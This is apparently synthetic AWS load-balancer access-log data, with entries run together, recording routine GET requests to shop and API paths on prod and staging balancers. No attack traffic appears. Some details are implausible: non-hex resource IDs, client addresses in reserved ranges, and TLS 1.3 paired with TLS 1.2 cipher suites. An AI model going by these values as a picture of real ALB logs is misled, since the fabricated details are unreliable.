prod-web-alb 17.215.84.21:61342 10.0.6.58:443 0.038413 0.159726 0.005899 200 200 757 11931 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a1-90dad7b0596a4a49bd2c4a7f" "prod-web-alb.example.com" "-" 10 2024-11-01T00:47:13.075744Z "forward" "-" "-" "10.0.6.58:443" "200" "-" "-" +https 2024-11-01T00:47:14.259139Z prod-web-alb 92.181.126.175:15916 10.0.15.197:443 0.037105 0.441502 0.099830 200 200 621 4070 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2a2-6aa1d0d92a524d949c26381c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:47:14.259139Z "forward" "-" "-" "10.0.15.197:443" "200" "-" "-" +https 2024-11-01T00:47:14.467265Z staging-alb 249.201.219.89:64312 121.241.97.117:443 0.104410 0.471365 0.016395 404 404 50 1834 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2a2-573fa22a9d1a4f26b1ab74e3" "staging-alb.example.com" "-" 2 2024-11-01T00:47:14.467265Z "forward" "-" "-" "121.241.97.117:443" "404" "-" "-" +https 2024-11-01T00:47:16.344020Z prod-api-alb 232.116.8.110:13705 10.0.122.53:443 0.002087 0.317873 0.018153 302 302 326 14550 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2a4-e4921b622fd6423a92bf74a4" "-" "-" 1 2024-11-01T00:47:16.344020Z "forward" "-" "-" "10.0.122.53:443" "302" "-" "-" +https 2024-11-01T00:47:16.982883Z prod-api-alb 151.194.60.105:32168 10.0.146.246:443 0.078922 0.305816 0.097736 200 200 486 1590 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2a4-8e094555c3b445d4a864bd36" "prod-api-alb.example.com" "-" 2 2024-11-01T00:47:16.982883Z "forward" "-" "-" "10.0.146.246:443" "200" "-" "-" +https 2024-11-01T00:47:17.568884Z prod-web-alb 191.247.64.174:27794 10.0.240.48:443 0.017194 0.163271 0.098695 404 404 16 1289 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a5-4dc65ff8e004410d942d0eee" "prod-web-alb.example.com" "-" 6 2024-11-01T00:47:17.568884Z "forward" "-" "-" "10.0.240.48:443" "404" "-" "-" +https 2024-11-01T00:47:17.795840Z prod-api-alb 10.196.100.130:22848 10.0.148.101:443 0.017370 0.159607 0.073417 404 404 730 2083 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2a5-ed1bfee1f3be4fe8a7470a43" "prod-api-alb.example.com" "-" 7 2024-11-01T00:47:17.795840Z "forward" "-" "-" "10.0.148.101:443" "404" "-" "-" +http 2024-11-01T00:47:18.344447Z staging-alb 51.241.146.20:11277 250.39.169.124:443 0.044264 0.345480 0.049899 200 200 226 9186 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2a6-736f254f78a54baeb57e208e" "staging-alb.example.com" "-" 9 2024-11-01T00:47:18.344447Z "forward" "-" "-" "250.39.169.124:443" "200" "-" "-" +https 2024-11-01T00:47:19.387670Z staging-alb 223.188.36.41:23383 112.231.186.163:8080 0.033140 0.421359 0.046487 200 200 971 1774 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2a7-ea61c77e9667472ab5506ecf" "staging-alb.example.com" "-" 8 2024-11-01T00:47:19.387670Z "forward" "-" "-" "112.231.186.163:8080" "200" "-" "-" +http 2024-11-01T00:47:19.856139Z staging-alb 9.209.246.118:46441 155.247.39.198:443 0.104430 0.066710 0.057749 200 200 143 8516 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2a7-f4e48aeb99d342e2b370578b" "staging-alb.example.com" "-" 0 2024-11-01T00:47:19.856139Z "forward" "-" "-" "155.247.39.198:443" "200" "-" "-" +https 2024-11-01T00:47:21.349938Z prod-api-alb 207.52.176.158:37039 10.0.23.52:443 0.034396 0.469967 0.085457 200 200 567 13553 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2a9-82674c3a5fca430f8c2788ae" "prod-api-alb.example.com" "-" 10 2024-11-01T00:47:21.349938Z "forward" "-" "-" "10.0.23.52:443" "200" "-" "-" +https 2024-11-01T00:47:21.482582Z prod-web-alb 202.88.33.252:43539 10.0.165.92:443 0.051339 0.035118 0.051242 200 200 479 13925 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2a9-8c95dfb0fe1b492aa0a935dc" "prod-web-alb.example.com" "-" 10 2024-11-01T00:47:21.482582Z "forward" "-" "-" "10.0.165.92:443" "200" "-" "-" +https 2024-11-01T00:47:21.774792Z staging-alb 207.24.136.150:28939 93.212.185.66:8080 0.143034 0.295373 0.100478 301 301 424 3983 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2a9-6f9f40556c4f4313a12ac899" "staging-alb.example.com" "-" 7 2024-11-01T00:47:21.774792Z "forward" "-" "-" "93.212.185.66:8080" "301" "-" "-" +https 2024-11-01T00:47:22.733164Z prod-web-alb 171.225.223.52:51263 10.0.85.172:443 0.082029 0.377071 0.096730 301 301 383 10239 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2aa-c5eea7f1e45543f989841062" "prod-web-alb.example.com" "-" 10 2024-11-01T00:47:22.733164Z "forward" "-" "-" "10.0.85.172:443" "301" "-" "-" +https 2024-11-01T00:47:24.115407Z staging-alb 43.154.201.101:11971 80.137.227.212:443 0.025698 0.002702 0.105789 200 200 117 728 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2ac-435b89fc2d8f413687514004" "staging-alb.example.com" "-" 2 2024-11-01T00:47:24.115407Z "forward" "-" "-" "80.137.227.212:443" "200" "-" "-" +https 2024-11-01T00:47:25.374567Z prod-api-alb 134.238.125.212:39451 10.0.51.241:443 0.097864 0.214230 0.094195 200 200 903 1066 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2ad-9f163460e30c49c098c85fe6" "prod-api-alb.example.com" "-" 7 2024-11-01T00:47:25.374567Z "forward" "-" "-" "10.0.51.241:443" "200" "-" "-" +https 2024-11-01T00:47:27.351939Z prod-api-alb 248.168.142.26:18125 10.0.41.109:443 0.075834 0.021928 0.097919 200 200 951 6052 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2af-95ac8ace8a744528b7e693ba" "prod-api-alb.example.com" "-" 6 2024-11-01T00:47:27.351939Z "forward" "-" "-" "10.0.41.109:443" "200" "-" "-" +https 2024-11-01T00:47:28.739633Z prod-web-alb 83.40.96.113:55983 10.0.203.213:443 0.017178 0.012268 0.005230 200 200 385 2113 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2b0-cf22ce4ccd1a472f8e122b9b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:47:28.739633Z "forward" "-" "-" "10.0.203.213:443" "200" "-" "-" +https 2024-11-01T00:47:29.182309Z prod-web-alb 129.235.136.154:55293 10.0.253.55:443 0.033095 0.088136 0.095920 200 200 867 1244 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2b1-846084b60039425ea741d605" "-" "-" 5 2024-11-01T00:47:29.182309Z "forward" "-" "-" "10.0.253.55:443" "200" "-" "-" +https 2024-11-01T00:47:30.032859Z prod-api-alb 3.144.41.62:22015 10.0.18.204:443 0.053587 0.253716 0.027796 200 200 634 1523 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2b2-7a056f777f7d4bf29d20691d" "prod-api-alb.example.com" "-" 4 2024-11-01T00:47:30.032859Z "forward" "-" "-" "10.0.18.204:443" "200" "-" "-" +https 2024-11-01T00:47:31.114352Z prod-web-alb 57.24.219.8:25699 10.0.220.237:443 0.005156 0.165669 0.036721 200 200 674 13421 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2b3-615a55e2013f4e4bb8aa94e6" "prod-web-alb.example.com" "-" 6 2024-11-01T00:47:31.114352Z "forward" "-" "-" "10.0.220.237:443" "200" "-" "-" +https 2024-11-01T00:47:31.348230Z prod-web-alb 16.121.152.159:20169 10.0.85.84:443 0.001350 0.091594 0.071834 200 200 629 10241 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2b3-5f1d79bdd9a5468da4f2e3a9" "prod-web-alb.example.com" "-" 8 2024-11-01T00:47:31.348230Z "forward" "-" "-" "10.0.85.84:443" "200" "-" "-" +https 2024-11-01T00:47:31.735844Z prod-api-alb 153.223.201.24:24337 10.0.117.111:443 0.011841 0.208872 0.032008 404 404 608 9079 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2b3-8ccbe140195a45b0a4e7050d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:47:31.735844Z "forward" "-" "-" "10.0.117.111:443" "404" "-" "-" +https 2024-11-01T00:47:32.553777Z prod-web-alb 78.38.196.171:34901 10.0.57.234:443 0.048239 0.195324 0.051197 301 301 302 8723 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2b4-64cfce12e0904b10b2937fe3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:47:32.553777Z "forward" "-" "-" "10.0.57.234:443" "301" "-" "-" +https 2024-11-01T00:47:33.396637Z prod-api-alb 54.98.186.23:54236 10.0.72.196:443 0.023180 0.104873 0.093799 200 200 198 11813 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2b5-20c96772e2da4b3e828822d9" "prod-api-alb.example.com" "-" 0 2024-11-01T00:47:33.396637Z "forward" "-" "-" "10.0.72.196:443" "200" "-" "-" +https 2024-11-01T00:47:33.827549Z staging-alb 5.143.251.230:22113 44.128.203.201:80 0.061870 0.362218 0.024376 301 301 673 10384 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2b5-302256ee3d4748d8994aa8a2" "staging-alb.example.com" "-" 9 2024-11-01T00:47:33.827549Z "forward" "-" "-" "44.128.203.201:80" "301" "-" "-" +https 2024-11-01T00:47:35.388355Z staging-alb 119.157.170.116:55911 212.137.170.213:8080 0.083594 0.055044 0.070321 200 200 376 2681 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2b7-184a2318dc564fb0b3ba34bc" "staging-alb.example.com" "-" 7 2024-11-01T00:47:35.388355Z "forward" "-" "-" "212.137.170.213:8080" "200" "-" "-" +http 2024-11-01T00:47:35.968969Z staging-alb 202.190.194.6:15868 160.169.95.196:80 0.059744 0.353513 0.098551 302 302 514 10069 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2b7-6855504d874f4cd0b3e502d8" "staging-alb.example.com" "-" 8 2024-11-01T00:47:35.968969Z "forward" "-" "-" "160.169.95.196:80" "302" "-" "-" +http 2024-11-01T00:47:36.993902Z staging-alb 253.213.61.221:35548 103.4.184.49:80 0.006514 0.286072 0.013251 200 200 304 12072 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2b8-952887a210724f9bb3b6edf3" "staging-alb.example.com" "-" 3 2024-11-01T00:47:36.993902Z "forward" "-" "-" "103.4.184.49:80" "200" "-" "-" +http 2024-11-01T00:47:38.360828Z staging-alb 13.6.26.57:11934 8.187.216.133:80 0.035159 0.481166 0.082875 302 302 841 5016 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2ba-281abba86a5f4138b4daf4fa" "staging-alb.example.com" "-" 4 2024-11-01T00:47:38.360828Z "forward" "-" "-" "8.187.216.133:80" "302" "-" "-" +https 2024-11-01T00:47:40.231826Z prod-api-alb 255.218.204.3:32308 10.0.155.229:443 0.042158 0.192934 0.097829 200 200 990 8783 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2bc-a5fc186400ef4479b476a023" "prod-api-alb.example.com" "-" 5 2024-11-01T00:47:40.231826Z "forward" "-" "-" "10.0.155.229:443" "200" "-" "-" +http 2024-11-01T00:47:41.016974Z staging-alb 241.22.225.94:45800 131.206.19.22:80 0.103698 0.329166 0.136642 302 302 502 10813 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2bd-36296743c9e543478f5f4ba2" "staging-alb.example.com" "-" 5 2024-11-01T00:47:41.016974Z "forward" "-" "-" "131.206.19.22:80" "302" "-" "-" +https 2024-11-01T00:47:42.226083Z prod-api-alb 155.158.217.121:26261 10.0.144.12:443 0.096413 0.087274 0.069882 301 301 803 1790 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2be-f51359d029ef433aba4b9b58" "prod-api-alb.example.com" "-" 6 2024-11-01T00:47:42.226083Z "forward" "-" "-" "10.0.144.12:443" "301" "-" "-" +https 2024-11-01T00:47:44.207902Z staging-alb 222.144.215.251:19031 100.13.66.139:443 0.075560 0.507881 0.138422 200 200 163 10934 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2c0-fc9f34333ff4409c8d10279e" "staging-alb.example.com" "-" 2 2024-11-01T00:47:44.207902Z "forward" "-" "-" "100.13.66.139:443" "200" "-" "-" +https 2024-11-01T00:47:45.911739Z prod-web-alb 223.255.93.118:41542 10.0.245.131:443 0.029952 0.387556 0.066179 301 301 352 7818 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2c1-dad89cdc6dd04d16a673b51f" "prod-web-alb.example.com" "-" 5 2024-11-01T00:47:45.911739Z "forward" "-" "-" "10.0.245.131:443" "301" "-" "-" +https 2024-11-01T00:47:47.383848Z prod-api-alb 96.78.50.71:16547 10.0.82.104:443 0.013826 0.281486 0.043824 200 200 99 7596 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2c3-4a9eafc772ab401c8311165c" "prod-api-alb.example.com" "-" 3 2024-11-01T00:47:47.383848Z "forward" "-" "-" "10.0.82.104:443" "200" "-" "-" +https 2024-11-01T00:47:47.665014Z staging-alb 224.80.154.241:51399 105.223.137.25:443 0.118648 0.692312 0.085997 200 200 830 13241 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2c3-faa7114a43cf494085f8fdf4" "staging-alb.example.com" "-" 5 2024-11-01T00:47:47.665014Z "forward" "-" "-" "105.223.137.25:443" "200" "-" "-" +https 2024-11-01T00:47:48.268733Z staging-alb 5.146.229.75:16749 111.205.196.161:443 0.042812 0.092819 0.085886 302 302 887 13790 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2c4-f34e9969e0144f4eb07dbb9c" "staging-alb.example.com" "-" 2 2024-11-01T00:47:48.268733Z "forward" "-" "-" "111.205.196.161:443" "302" "-" "-" +https 2024-11-01T00:47:49.766476Z staging-alb 206.142.221.60:14311 11.2.210.207:80 0.032085 0.016245 0.121414 200 200 520 7433 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c2c5-6c6ae3266708457d868fd7de" "staging-alb.example.com" "-" 7 2024-11-01T00:47:49.766476Z "forward" "-" "-" "11.2.210.207:80" "200" "-" "-" +https 2024-11-01T00:47:51.324657Z prod-web-alb 43.219.234.179:54616 10.0.251.221:443 0.041284 0.421541 0.053331 200 200 309 9939 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c2c7-ab6a524b7a754fbf99cc114a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:47:51.324657Z "forward" "-" "-" "10.0.251.221:443" "200" "-" "-" +https 2024-11-01T00:47:52.648086Z prod-api-alb 193.2.126.197:58365 10.0.1.71:443 0.047739 0.040019 0.071056 200 200 788 7204 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2c8-b60a18ae928b466abb91eada" "prod-api-alb.example.com" "-" 1 2024-11-01T00:47:52.648086Z "forward" "-" "-" "10.0.1.71:443" "200" "-" "-" +https 2024-11-01T00:47:52.855557Z prod-api-alb 128.81.73.118:59020 10.0.144.22:443 0.073761 0.494755 0.087541 200 200 754 13846 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2c8-73458bfbeb7a40e0822fb597" "prod-api-alb.example.com" "-" 0 2024-11-01T00:47:52.855557Z "forward" "-" "-" "10.0.144.22:443" "200" "-" "-" +https 2024-11-01T00:47:53.701222Z prod-api-alb 88.12.139.220:17445 10.0.227.16:443 0.001461 0.096846 0.082325 200 200 459 6616 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c2c9-72668dc7e3fe497086722506" "prod-api-alb.example.com" "-" 5 2024-11-01T00:47:53.701222Z "forward" "-" "-" "10.0.227.16:443" "200" "-" "-" +https 2024-11-01T00:47:54.153759Z prod-api-alb 54.53.75.178:31960 10.0.69.29:443 0.009411 0.067405 0.098951 301 301 886 12412 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2ca-0794b3e93228406ea04a9457" "prod-api-alb.example.com" "-" 10 2024-11-01T00:47:54.153759Z "forward" "-" "-" "10.0.69.29:443" "301" "-" "-" +https 2024-11-01T00:47:54.404656Z prod-api-alb 135.8.7.70:26640 10.0.73.54:443 0.077017 0.269609 0.015669 404 404 179 7098 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c2ca-3b9b97804ef8485287ac61f5" "-" "-" 9 2024-11-01T00:47:54.404656Z "forward" "-" "-" "10.0.73.54:443" "404" "-" "-" +https 2024-11-01T00:47:55.276992Z prod-web-alb 45.157.108.250:48184 10.0.177.200:443 0.018226 0.237757 0.049898 404 404 808 3914 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2cb-27b2fbcc189044639b8afdc4" "prod-web-alb.example.com" "-" 2 2024-11-01T00:47:55.276992Z "forward" "-" "-" "10.0.177.200:443" "404" "-" "-" +http 2024-11-01T00:47:56.700429Z staging-alb 1.228.40.205:29700 36.60.12.51:443 0.088806 0.281310 0.030578 200 200 721 4485 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c2cc-f6a2b6e21eea4efd8e00d1df" "staging-alb.example.com" "-" 9 2024-11-01T00:47:56.700429Z "forward" "-" "-" "36.60.12.51:443" "200" "-" "-" +https 2024-11-01T00:47:58.321462Z prod-web-alb 242.86.0.171:26300 10.0.20.212:443 0.077912 0.482619 0.026983 301 301 384 1535 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c2ce-01783a46cf584adbaa728044" "prod-web-alb.example.com" "-" 6 2024-11-01T00:47:58.321462Z "forward" "-" "-" 